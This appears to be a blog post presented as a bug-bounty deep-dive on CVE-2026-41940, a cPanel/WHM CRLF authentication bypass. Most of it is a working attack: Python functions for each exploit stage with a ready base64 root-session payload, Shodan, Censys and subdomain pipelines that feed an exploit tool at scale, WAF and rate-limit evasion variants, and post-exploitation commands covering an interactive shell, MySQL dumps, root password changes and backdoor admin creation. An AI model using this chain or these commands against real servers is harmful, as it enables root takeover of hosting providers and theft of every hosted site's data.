A technical deep-dive for bug bounty hunters targeting CVE-2026–41940 — reconnaissance, exploitation chains, WAF bypasses, and report writing for maximum impact.
Why This Matters for Bug Bounty
CVE-2026–41940 is the kind of vulnerability that defines a bug bounty career. It's a CVSS 10.0, unauthenticated, remote root compromise affecting ~70 million domains, and it was exploited in the wild as a zero-day for over two months before disclosure.
For bug bounty hunters, this represents:
- Maximum severity — This is as critical as it gets. P1/Critical across every program.
- Massive attack surface — cPanel runs ~94% of the web hosting control panel market. Every shared hosting provider, every reseller, every managed WordPress host.
- Clear impact chain — Authentication bypass → root-level WHM access → full server compromise → all hosted domains owned.
- Multiple bounty opportunities — cPanel's own bug bounty, hosting provider programs, infrastructure bug bounty platforms.
Let's break down exactly how to hunt, exploit, and report this vulnerability.
Understanding the Vulnerability
Before you hunt, you need to understand what its all about, not just run a tool.
The Root Cause
In cPanel's Session.pm, the saveSession() function calls filter_sessiondata() (the sanitization routine) after the session file has already been written to disk.
Normal flow: sanitize → write ✓
Vulnerable: write → sanitize ✗This means CRLF sequences (\r\n) embedded in the Authorization: Basic header value are written verbatim into /var/cpanel/sessions/raw/<session> before any filtering occurs.
The Injected Payload
When base64-decoded, the Authorization password field contains:
x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1These become newline-separated keys in the session file. When cpsrvd re-parses the file, it treats them as legitimate session attributes belonging to an authenticated root user.
The Auth Bypass Mechanism
cPanel's docheckpass_whostmgrd() checks for successful_internal_auth_with_timestamp before consulting /etc/shadow:
if ($successful_external_auth_with_timestamp or $successful_internal_auth_with_timestamp) {
return $Cpanel::Server::AUTH_OK, 0; # Password check SKIPPED
}If that timestamp exists, password validation is bypassed entirely. The attacker set it to 9999999999. Access granted.
Reconnaissance — Finding Vulnerable Targets
Shodan Hunting
The most efficient way to find targets at scale:
# Broad WHM search shodan search --fields ip_str,port 'title:"WHM Login"' --limit 1000
# cPanel-specific on SSL port
shodan search --fields ip_str,port 'product:"cPanel" port:2083' --limit 1000
# WHM on admin port
shodan search --fields ip_str,port 'title:"WebHost Manager" port:2087' --limit 1000
# SSL certificate-based
shodan search --fields ip_str,port 'ssl.cert.subject.cn:"cPanel" port:2087' --limit 1000Direct pipeline to cPanelSniper:
shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 50 -o shodan_results.jsonSubdomain Enumeration
For bug bounty programs with specific scope:
Subfinder
# Subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.jsonAmass
# Amass for broader coverage
amass enum -d target.com | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.jsonGoogle Dorking
inurl:":2087" "WHM Login"
inurl:":2083" "cPanel"
intitle:"WHM Login" "WebHost Manager"
inurl:"/cpsess" "login_only"Certificate Transparency Logs
# crt.sh for domain discovery
curl -s "https://crt.sh/?q=%25.target.com%25&output=json" | \
jq -r '.[].name_value' | \
sort -u | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.jsonCensys
# Censys search (requires API key)
censys search 'services.service_name: "cPanel" and services.port: 2087' \
--pages 5 | \
jq -r '.[] | "https://\(.ip):2087"' | \
python3 cPanelSniper.py -t 30 -o censys_results.jsonThe Exploitation Chain — What Actually Happens
Stage 0: Canonical Hostname Discovery
import base64, http.client
def discover_hostname(target):
conn = http.client.HTTPSConnection(target)
conn.request("GET", "/openid_connect/cpanelid")
resp = conn.getresponse()
# Follow 307 to extract real hostname
return resp.getheader("Location") # Contains canonical hostnameWhy this matters: cPanel validates the Host header internally. If it doesn't match the server's canonical hostname, the exploit fails silently. Always auto-discover.
Stage 1: Mint the Preauth Session
def mint_session(target, hostname):
conn = http.client.HTTPSConnection(target)
body = "user=root&pass=wrong"
headers = {
"Host": hostname,
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": str(len(body))
}
conn.request("POST", "/login/?login_only=1", body, headers)
resp = conn.getresponse()
# Extract session cookie
cookie = resp.getheader("Set-Cookie")
# Parse: whostmgrsession=%3aSESSION_NAME%2cOB_HEX
session = cookie.split("=")[1].split("%2c")[0].strip()
# URL decode if needed
from urllib.parse import unquote
return unquote(session) # Returns ":SESSION_NAME"Key insight: The session name (before %2C) is what we need, and the OB hash after %2C is discarded. That's what makes the injection possible in the first place.
Stage 2: CRLF Injection
def inject_crlf(target, hostname, session):
conn = http.client.HTTPSConnection(target)
# The CRLF payload — base64 of:
# x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\n
# user=root\r\ntfa_verified=1\r\nhasroot=1
payload_b64 = "cm9vdDp4DQoNCnN1Y2Nlc3NmdWxfaW50ZXJuYWxfYXV0aF93aXRoX3RpbWVzdGFtcD05OTk5OTk5OTk5DQp1c2VyPXJvb3QNCnRmYV92ZXJpZmllZD0xDQpoYXNyb290PTE="
headers = {
"Host": hostname,
"Cookie": f"whostmgrsession={session}",
"Authorization": f"Basic {payload_b64}"
}
conn.request("GET", "/", headers=headers)
resp = conn.getresponse()
location = resp.getheader("Location", "")
# Extract token from Location header
import re
token_match = re.search(r'/cpsess(\d+)', location)
if token_match:
return token_match.group(0) # /cpsessXXXXXX
return NoneBug bounty tip: The Location header in the 307 response contains your session token. This is what you use in subsequent requests. Save it.
Stage 3: The Cache Flush (do_token_denied Gadget)
def flush_cache(target, hostname, session):
conn = http.client.HTTPSConnection(target)
headers = {
"Host": hostname,
"Cookie": f"whostmgrsession={session}"
}
# Request without valid token → triggers do_token_denied
conn.request("GET", "/scripts2/listaccts", headers=headers)
resp = conn.getresponse()
# Expected: 401 Token Denied
# BUT the raw session data is now flushed into JSON cache
return resp.statusCritical nuance: This step is often overlooked. Without the cache flush, the injected fields exist only in the raw session file. The do_token_denied handler calls Modify::new(nocache => 1) which re-parses the raw file and writes the result into the JSON cache. Only then are the injected fields active.
Stage 4: Verify Root Access
def verify_root(target, hostname, session, token):
conn = http.client.HTTPSConnection(target)
headers = {
"Host": hostname,
"Cookie": f"whostmgrsession={session}"
}
conn.request("GET", f"{token}/json-api/version?api.version=1", headers=headers)
resp = conn.getresponse()
data = resp.read().decode()
if resp.status == 200 and '"result":1' in data:
import json
version = json.loads(data)["cpanelresult"]["data"]["version"]
return True, version
return False, NoneWAF Bypass Techniques
Bug bounty targets often have WAFs. Here's how to evade them:
1. Alternative CRLF Encodings
# Instead of standard \r\n, try:
payloads = [
# Standard
"cm9vdDp4DQpzdWNjZXNzZnVs...",
# URL-encoded \r\n
"cm9vdDp4%0d%0asuccessful...",
# Double URL-encode
"cm9vdDp4%250d%250asuccessful...",
# Unicode variation
"cm9vdDp4\u000d\u000asuccessful...",
# Tab instead of CR
"cm9vdDp4\tsuccessful...",
]2. Authorization Header Variations
headers_variants = [
{"Authorization": f"Basic {payload}"},
{"authorization": f"basic {payload}"},
{"AUTHORIZATION": f"BASIC {payload}"},
# Split header
{"Authorization": f"Basic", "X-Payload": payload},
]3. Session Cookie Manipulation
# Different cookie formats
cookie_variants = [
f"whostmgrsession={session}",
f"whostmgrsession={session}; path=/",
f"whostmgrsession={session}; HttpOnly",
# URL-encoded variations
f"whostmgrsession={quote(session)}",
]4. HTTP Version Smuggling
# Try HTTP/1.0 vs HTTP/1.1
# Try chunked encoding
# Try connection: keep-alive vs close5. Rate Limiting Evasion
# Add random delays
import random, time
time.sleep(random.uniform(0.5, 2.0))
# Rotate User-Agents
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
"curl/8.0.1",
]You can also use this tool by Yunus Öztaş to automate most of the steps above: https://github.com/ynsmroztas/cPanelSniper

Post-Exploitation — What to Demo in Your Report
Bug bounty programs want to see impact, not just exploitation. Here's what to demonstrate:
1. Account Enumeration (Proof of Access)
python3 cPanelSniper.py -u https://target.com:2087 --action listOutput to include in report: Number of cPanel accounts, list of hosted domains, email addresses. This proves you can enumerate all hosted tenants.
2. Version Confirmation
python3 cPanelSniper.py -u https://target.com:2087 --action versionOutput: Exact cPanel build number. Proves the vulnerability is real and the version is unpatched.
3. Server Information
python3 cPanelSniper.py -u https://target.com:2087 --action infoOutput: Hostname, load averages, disk usage, MySQL host. Proves you can read server-level configuration.
4. Sensitive File Read (Minimum Viable Proof)
python3 cPanelSniper.py -u https://target.com:2087 --action cmd \
--cmd "cat /etc/passwd | head -20"Key insight: Most programs accept reading /etc/passwd as sufficient proof of RCE/root access. You don't need to demonstrate destructive actions.
5. Database Access Proof (High Impact)
python3 cPanelSniper.py -u https://target.com:2087 --action cmd \
--cmd "mysql -e 'SELECT user, host FROM mysql.user' -u root"Impact multiplier: Proving you can access all MySQL databases on the server (every hosted website's database) significantly increases bounty potential.
Impact
An unauthenticated attacker can: 1. Gain root-level WHM administrative access 2. Read all server configuration files 3. Access all hosted websites' files and databases 4. Create persistent backdoor admin accounts 5. Modify DNS, SSL certificates, and mail configuration 6. Deface, redirect, or inject malware into all hosted domains

Basic Usage
# Single target scan
python3 cPanelSniper.py -u https://target.com:2087
# Single target + interactive shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Bulk scan
python3 cPanelSniper.py -l targets.txt -t 50 -o results.jsonPost-Exploitation Commands
# List all accounts
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Execute commands
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id"
# Interactive shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Change root password
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewP@ss'
# Create backdoor admin
# (within interactive shell) addadmin backdoor_user Password123!# List all accounts
python3 cPanelSniper.py -u https://target.com:2087 --action listExploit (Manual)
1. GET /openid_connect/cpanelid → Discover hostname
2. POST /login/?login_only=1 → Get session cookie
3. GET / + CRLF Authorization header → Inject payload
4. GET /scripts2/listaccts → Flush cache
5. GET /cpsessTOKEN/json-api/version → Verify rootReferences:
- https://nvd.nist.gov/vuln/detail/CVE-2026-41940
- https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
- https://hadrian.io/blog/cve-2026-41940-a-critical-authentication-bypass-in-cpanel
- https://github.com/ynsmroztas/cPanelSniper
- https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026
If you found this article valuable, consider clapping to help others discover it. Follow Mehedi, Security Talent, and The Malware Files to stay connected and be part of a growing community exploring malware, security, and digital threats together.
